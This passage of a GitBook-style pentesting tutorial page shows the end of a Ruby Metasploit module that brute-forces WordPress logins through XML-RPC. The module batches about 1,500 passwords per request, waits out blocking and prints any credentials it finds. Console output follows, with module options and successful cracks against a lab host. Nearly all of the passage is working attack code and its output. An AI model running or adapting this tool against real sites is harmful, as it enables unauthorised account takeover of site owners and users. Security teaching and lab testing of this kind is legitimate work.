      print_error(<span class="hljs-string">&quot;<span class="hljs-subst">#{peer}</span>:<span class="hljs-subst">#{rport}</span><span class="hljs-subst">#{wordpress_url_xmlrpc}</span> does not enable XML-RPC&quot;</span>)
      <span class="hljs-keyword">nil</span>
    <span class="hljs-keyword">else</span>
      print_status(<span class="hljs-string">&quot;Target <span class="hljs-subst">#{peer}</span> is running WordPress&quot;</span>)
      <span class="hljs-keyword">true</span>
    <span class="hljs-keyword">end</span>

  <span class="hljs-keyword">end</span>

  <span class="hljs-comment">#</span>
  <span class="hljs-comment"># Connection Setup</span>
  <span class="hljs-comment">#</span>
  <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">send</span><span class="hljs-params">(xml)</span></span>
    uri  = target_uri.path
    opts =
      {
        <span class="hljs-string">&apos;method&apos;</span>  =&gt; <span class="hljs-string">&apos;POST&apos;</span>,
        <span class="hljs-string">&apos;uri&apos;</span>     =&gt; normalize_uri(uri, wordpress_url_xmlrpc),
        <span class="hljs-string">&apos;data&apos;</span>    =&gt; xml,
        <span class="hljs-string">&apos;ctype&apos;</span>   =&gt;<span class="hljs-string">&apos;text/xml&apos;</span>
      }
    client = <span class="hljs-constant">Rex::Proto::Http::Client</span>.new(rhost)
    client.connect
    req  = client.request_cgi(opts)
    res  = client.send_recv(req)

    <span class="hljs-keyword">if</span> res &amp;&amp; res.code != <span class="hljs-number">200</span>
      print_error(<span class="hljs-string">&apos;It seems you got blocked!&apos;</span>)
      print_warning(<span class="hljs-string">&quot;I&apos;ll sleep for <span class="hljs-subst">#{datastore[<span class="hljs-string">&apos;BLOCKEDWAIT&apos;</span>]}</span> minutes, then I&apos;ll try again. CTR+C to exit&quot;</span>)
      sleep datastore[<span class="hljs-string">&apos;BLOCKEDWAIT&apos;</span>] * <span class="hljs-number">60</span>
    <span class="hljs-keyword">end</span>
    <span class="hljs-variable">@res</span> = res
  <span class="hljs-keyword">end</span>

  <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">run</span></span>
    <span class="hljs-keyword">return</span> <span class="hljs-keyword">if</span> check_wpstatus.<span class="hljs-keyword">nil</span>?

    usernames.each <span class="hljs-keyword">do</span> |user|
      passfound = <span class="hljs-keyword">false</span>

      print_status(<span class="hljs-string">&quot;Brute forcing user: <span class="hljs-subst">#{user}</span>&quot;</span>)
      generate_xml(user).each <span class="hljs-keyword">do</span> |xml|
        <span class="hljs-keyword">next</span> <span class="hljs-keyword">if</span> passfound == <span class="hljs-keyword">true</span>

        send(xml)

        <span class="hljs-comment"># Request Parser</span>
        req_xml = <span class="hljs-constant">Nokogiri::Slop</span> xml
        <span class="hljs-comment"># Response Parser</span>
        res_xml = <span class="hljs-constant">Nokogiri::Slop</span> <span class="hljs-variable">@res</span>.to_s.scan(<span class="hljs-regexp">/&lt;.*&gt;/</span>).join
        puts res_xml 
        res_xml.search(<span class="hljs-string">&quot;methodResponse/params/param/value/array/data/value&quot;</span>).each_with_index <span class="hljs-keyword">do</span> |value, i|

          result =  value.at(<span class="hljs-string">&quot;struct/member/value/int&quot;</span>)
          <span class="hljs-comment"># If response error code doesn&apos;t not exist</span>
          <span class="hljs-keyword">if</span> result.<span class="hljs-keyword">nil</span>?
            user = req_xml.search(<span class="hljs-string">&quot;data/value/array/data&quot;</span>)[i].value[<span class="hljs-number">0</span>].text.strip
            pass = req_xml.search(<span class="hljs-string">&quot;data/value/array/data&quot;</span>)[i].value[<span class="hljs-number">1</span>].text.strip
            print_good(<span class="hljs-string">&quot;Credentials Found! <span class="hljs-subst">#{user}</span>:<span class="hljs-subst">#{pass}</span>&quot;</span>)

            passfound = <span class="hljs-keyword">true</span>
          <span class="hljs-keyword">end</span>

        <span class="hljs-keyword">end</span>

        <span class="hljs-keyword">unless</span> user == usernames.last
          vprint_status(<span class="hljs-string">&apos;Sleeping for 2 seconds..&apos;</span>)
          sleep <span class="hljs-number">2</span>
        <span class="hljs-keyword">end</span>

  <span class="hljs-keyword">end</span> <span class="hljs-keyword">end</span> <span class="hljs-keyword">end</span>
<span class="hljs-keyword">end</span>
</code></pre>
<ul>
<li style="list-style: none"><input type="checkbox" disabled="disabled" checked="checked"> Check if the module has been written correctly (msftidy.rb)</li>
</ul>
<pre><code>metasploit-framework/tools/dev/msftidy.rb wordpress_xmlrpc_massive_bruteforce.rb
</code></pre><p><strong>Run it</strong></p>
<pre><code>msf auxiliary(wordpress_xmlrpc_massive_bruteforce) &gt; show options 

Module options (auxiliary/scanner/http/wordpress_xmlrpc_massive_bruteforce):

   Name         Current Setting                                                                 Required  Description
   ----         ---------------                                                                 --------  -----------
   BLOCKEDWAIT  6                                                                               yes       Time(minutes) to wait if got blocked
   CHUNKSIZE    1500                                                                            yes       Number of passwords need to be sent per request. (1700 is the max)
   Proxies                                                                                      no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOST        172.17.0.3                                                                      yes       The target address
   RPORT        80                                                                              yes       The target port
   TARGETURI    /                                                                               yes       The base path
   VHOST                                                                                        no        HTTP server virtual host
   WPPASS_FILE  /home/KING/Code/MSF/metasploit-framework/data/wordlists/http_default_pass.txt   yes       File containing passwords, one per line
   WPUSER_FILE  /home/KING/Code/MSF/metasploit-framework/data/wordlists/http_default_users.txt  yes       File containing usernames, one per line

msf auxiliary(wordpress_xmlrpc_massive_bruteforce) &gt; run

[*] Checking 172.17.0.3:80 status!
[*] Target 172.17.0.3:80 is running WordPress
[*] Brute forcing user: admin
[+] Credentials Found! admin:password
[*] Brute forcing user: manager
[*] Brute forcing user: root
[*] Brute forcing user: cisco
[*] Brute forcing user: apc
[*] Brute forcing user: pass
[*] Brute forcing user: security
[*] Brute forcing user: user
[*] Brute forcing user: system
[+] Credentials Found! system:root
[*] Brute forcing user: sys
[*] Brute forcing user: wampp
[*] Brute forcing user: newuser
[*] Brute forcing user: xampp-dav-unsecure
[*] Auxiliary module execution completed
</code></pre>
                    
                    </section>
                
                
                </div>
            </div>
        </div>

        
        <a href="../module_0x5__exploitation_kung_fu/metasploit.html" class="navigation navigation-prev " aria-label="Previous page: Metasploit"><i class="fa fa-angle-left"></i></a>
        
        
        <a href="../module_0x5__exploitation_kung_fu/exploit_module.html" class="navigation navigation-next " aria-label="Next page: Exploit module"><i class="fa fa-angle-right"></i></a>
        
    </div>
</div>

        
<script src="../gitbook/app.js"></script>

    
    <script src="../gitbook/plugins/gitbook-plugin-splitter/splitter.js"></script>
    

    
    <script src="../gitbook/plugins/gitbook-plugin-book-summary-scroll-position-saver/book-summary-scroll-position-saver.js"></script>
    

    
    <script src="../gitbook/plugins/gitbook-plugin-expandable-chapters/expandable-chapters.js"></script>
    

    
    <script src="../gitbook/plugins/gitbook-plugin-search/lunr.min.js"></script>
    

    
    <script src="../gitbook/plugins/gitbook-plugin-search/search.js"></script>
    

    
    <script src="../gitbook/plugins/gitbook-plugin-sharing/buttons.js"></script>
    

    
    <script src="../gitbook/plugins/gitbook-plugin-fontsettings/buttons.js"></script>
    

<script>
require(["gitbook"], function(gitbook) {
    var config = {"addcssjs":{"js":["styles/header.js"]},"anchors":{},"todo":{},"splitter":{},"book-summary-scroll-position-saver":{},"expandable-chapters":{},"highlight":{},"search":{"maxIndexSize":1000000},"sharing":{"facebook":true,"twitter":true,"google":false,"weibo":false,"instapaper":false,"vk":false,"all":["facebook","google","twitter","weibo","instapaper"]},"fontsettings":{"theme":"white","family":"sans","size":2}};
    gitbook.start(config);
});
</script>

        
    </body>
    
</html>
